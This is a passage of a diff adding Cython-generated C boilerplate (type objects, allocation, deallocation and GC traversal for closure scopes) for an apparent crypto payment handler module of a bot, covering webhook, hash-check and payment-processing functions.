Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_1_process_amount_selection", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_1_process_amount_selection, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_data); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_request); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook *)o; + if (p->__pyx_v_data) { + e = (*v)(p->__pyx_v_data, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_2_cryptobot_webhook", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_2_cryptobot_webhook", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_2_cryptobot_webhook, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_body_text); + Py_CLEAR(p->__pyx_v_crypto_pay_signature); + Py_CLEAR(p->__pyx_v_request); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash *)o; + if (p->__pyx_v_body_text) { + e = (*v)(p->__pyx_v_body_text, a); if (e) return e; + } + if (p->__pyx_v_crypto_pay_signature) { + e = (*v)(p->__pyx_v_crypto_pay_signature, a); if (e) return e; + } + if (p->__pyx_v_request) { + e = (*v)(p->__pyx_v_request, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_3_check_hash", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_3_check_hash", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_traverse*/ + 0, /*tp_clear*/ + 0, /*tp_richcompare*/ + 0, /*tp_weaklistoffset*/ + 0, /*tp_iter*/ + 0, /*tp_iternext*/ + 0, /*tp_methods*/ + 0, /*tp_members*/ + 0, /*tp_getset*/ + 0, /*tp_base*/ + 0, /*tp_dict*/ + 0, /*tp_descr_get*/ + 0, /*tp_descr_set*/ + #if !CYTHON_USE_TYPE_SPECS + 0, /*tp_dictoffset*/ + #endif + 0, /*tp_init*/ + 0, /*tp_alloc*/ + __pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_3_check_hash, /*tp_new*/ + 0, /*tp_free*/ + 0, /*tp_is_gc*/ + 0, /*tp_bases*/ + 0, /*tp_mro*/ + 0, /*tp_cache*/ + 0, /*tp_subclasses*/ + 0, /*tp_weaklist*/ + 0, /*tp_del*/ + 0, /*tp_version_tag*/ + #if PY_VERSION_HEX >= 0x030400a1 + #if CYTHON_USE_TP_FINALIZE + 0, /*tp_finalize*/ + #else + NULL, /*tp_finalize*/ + #endif + #endif + #if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, /*tp_vectorcall*/ + #endif + #if __PYX_NEED_TP_PRINT_SLOT == 1 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030C0000 + 0, /*tp_watched*/ + #endif + #if PY_VERSION_HEX >= 0x030d00A4 + 0, /*tp_versions_used*/ + #endif + #if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, /*tp_pypy_flags*/ + #endif +}; +#endif + +#if CYTHON_USE_FREELISTS +static struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[8]; +static int __pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = 0; +#endif + +static PyObject *__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyTypeObject *t, CYTHON_UNUSED PyObject *a, CYTHON_UNUSED PyObject *k) { + PyObject *o; + #if CYTHON_COMPILING_IN_LIMITED_API + allocfunc alloc_func = (allocfunc)PyType_GetSlot(t, Py_tp_alloc); + o = alloc_func(t, 0); + #else + #if CYTHON_USE_FREELISTS + if (likely((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment > 0) & (int)(t->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)))) { + o = (PyObject*)__pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[--__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment]; + memset(o, 0, sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)); + (void) PyObject_INIT(o, t); + PyObject_GC_Track(o); + } else + #endif + { + o = (*t->tp_alloc)(t, 0); + if (unlikely(!o)) return 0; + } + #endif + return o; +} + +static void __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyObject *o) { + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o; + #if CYTHON_USE_TP_FINALIZE + if (unlikely((PY_VERSION_HEX >= 0x03080000 || __Pyx_PyType_HasFeature(Py_TYPE(o), Py_TPFLAGS_HAVE_FINALIZE)) && __Pyx_PyObject_GetSlot(o, tp_finalize, destructor)) && !__Pyx_PyObject_GC_IsFinalized(o)) { + if (__Pyx_PyObject_GetSlot(o, tp_dealloc, destructor) == __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment) { + if (PyObject_CallFinalizerFromDealloc(o)) return; + } + } + #endif + PyObject_GC_UnTrack(o); + Py_CLEAR(p->__pyx_v_amount); + Py_CLEAR(p->__pyx_v_amount_str); + Py_CLEAR(p->__pyx_v_custom_payload); + Py_CLEAR(p->__pyx_v_e); + Py_CLEAR(p->__pyx_v_payload); + Py_CLEAR(p->__pyx_v_user_id); + Py_CLEAR(p->__pyx_v_user_id_str); + Py_CLEAR(p->__pyx_t_0); + Py_CLEAR(p->__pyx_t_1); + Py_CLEAR(p->__pyx_t_2); + #if CYTHON_USE_FREELISTS + if (((int)(__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment < 8) & (int)(Py_TYPE(o)->tp_basicsize == sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment)))) { + __pyx_freelist_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment[__pyx_freecount_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment++] = ((struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o); + } else + #endif + { + #if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + (*Py_TYPE(o)->tp_free)(o); + #else + { + freefunc tp_free = (freefunc)PyType_GetSlot(Py_TYPE(o), Py_tp_free); + if (tp_free) tp_free(o); + } + #endif + } +} + +static int __pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment(PyObject *o, visitproc v, void *a) { + int e; + struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *p = (struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment *)o; + if (p->__pyx_v_amount) { + e = (*v)(p->__pyx_v_amount, a); if (e) return e; + } + if (p->__pyx_v_amount_str) { + e = (*v)(p->__pyx_v_amount_str, a); if (e) return e; + } + if (p->__pyx_v_custom_payload) { + e = (*v)(p->__pyx_v_custom_payload, a); if (e) return e; + } + if (p->__pyx_v_e) { + e = (*v)(p->__pyx_v_e, a); if (e) return e; + } + if (p->__pyx_v_payload) { + e = (*v)(p->__pyx_v_payload, a); if (e) return e; + } + if (p->__pyx_v_user_id) { + e = (*v)(p->__pyx_v_user_id, a); if (e) return e; + } + if (p->__pyx_v_user_id_str) { + e = (*v)(p->__pyx_v_user_id_str, a); if (e) return e; + } + if (p->__pyx_t_0) { + e = (*v)(p->__pyx_t_0, a); if (e) return e; + } + if (p->__pyx_t_1) { + e = (*v)(p->__pyx_t_1, a); if (e) return e; + } + if (p->__pyx_t_2) { + e = (*v)(p->__pyx_t_2, a); if (e) return e; + } + return 0; +} +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_slots[] = { + {Py_tp_dealloc, (void *)__pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {Py_tp_traverse, (void *)__pyx_tp_traverse_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {Py_tp_new, (void *)__pyx_tp_new_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment}, + {0, 0}, +}; +static PyType_Spec __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_spec = { + "handlers.payments.cryprobot_pay.__pyx_scope_struct_4_process_crypto_payment", + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment), + 0, + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, + __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment_slots, +}; +#else + +static PyTypeObject __pyx_type_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment = { + PyVarObject_HEAD_INIT(0, 0) + "handlers.payments.cryprobot_pay.""__pyx_scope_struct_4_process_crypto_payment", /*tp_name*/ + sizeof(struct __pyx_obj_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment), /*tp_basicsize*/ + 0, /*tp_itemsize*/ + __pyx_tp_dealloc_8handlers_8payments_13cryprobot_pay___pyx_scope_struct_4_process_crypto_payment, /*tp_dealloc*/ + #if PY_VERSION_HEX < 0x030800b4 + 0, /*tp_print*/ + #endif + #if PY_VERSION_HEX >= 0x030800b4 + 0, /*tp_vectorcall_offset*/ + #endif + 0, /*tp_getattr*/ + 0, /*tp_setattr*/ + #if PY_MAJOR_VERSION < 3 + 0, /*tp_compare*/ + #endif + #if PY_MAJOR_VERSION >= 3 + 0, /*tp_as_async*/ + #endif + 0, /*tp_repr*/ + 0, /*tp_as_number*/ + 0, /*tp_as_sequence*/ + 0, /*tp_as_mapping*/ + 0, /*tp_hash*/ + 0, /*tp_call*/ + 0, /*tp_str*/ + 0, /*tp_getattro*/ + 0, /*tp_setattro*/ + 0, /*tp_as_buffer*/ + Py_TPFLAGS_DEFAULT|Py_TPFLAGS_HAVE_VERSION_TAG|Py_TPFLAGS_CHECKTYPES|Py_TPFLAGS_HAVE_NEWBUFFER|Py_TPFLAGS_HAVE_GC|Py_TPFLAGS_HAVE_FINALIZE, /*tp_flags*/ + 0, /*tp_doc*/ + 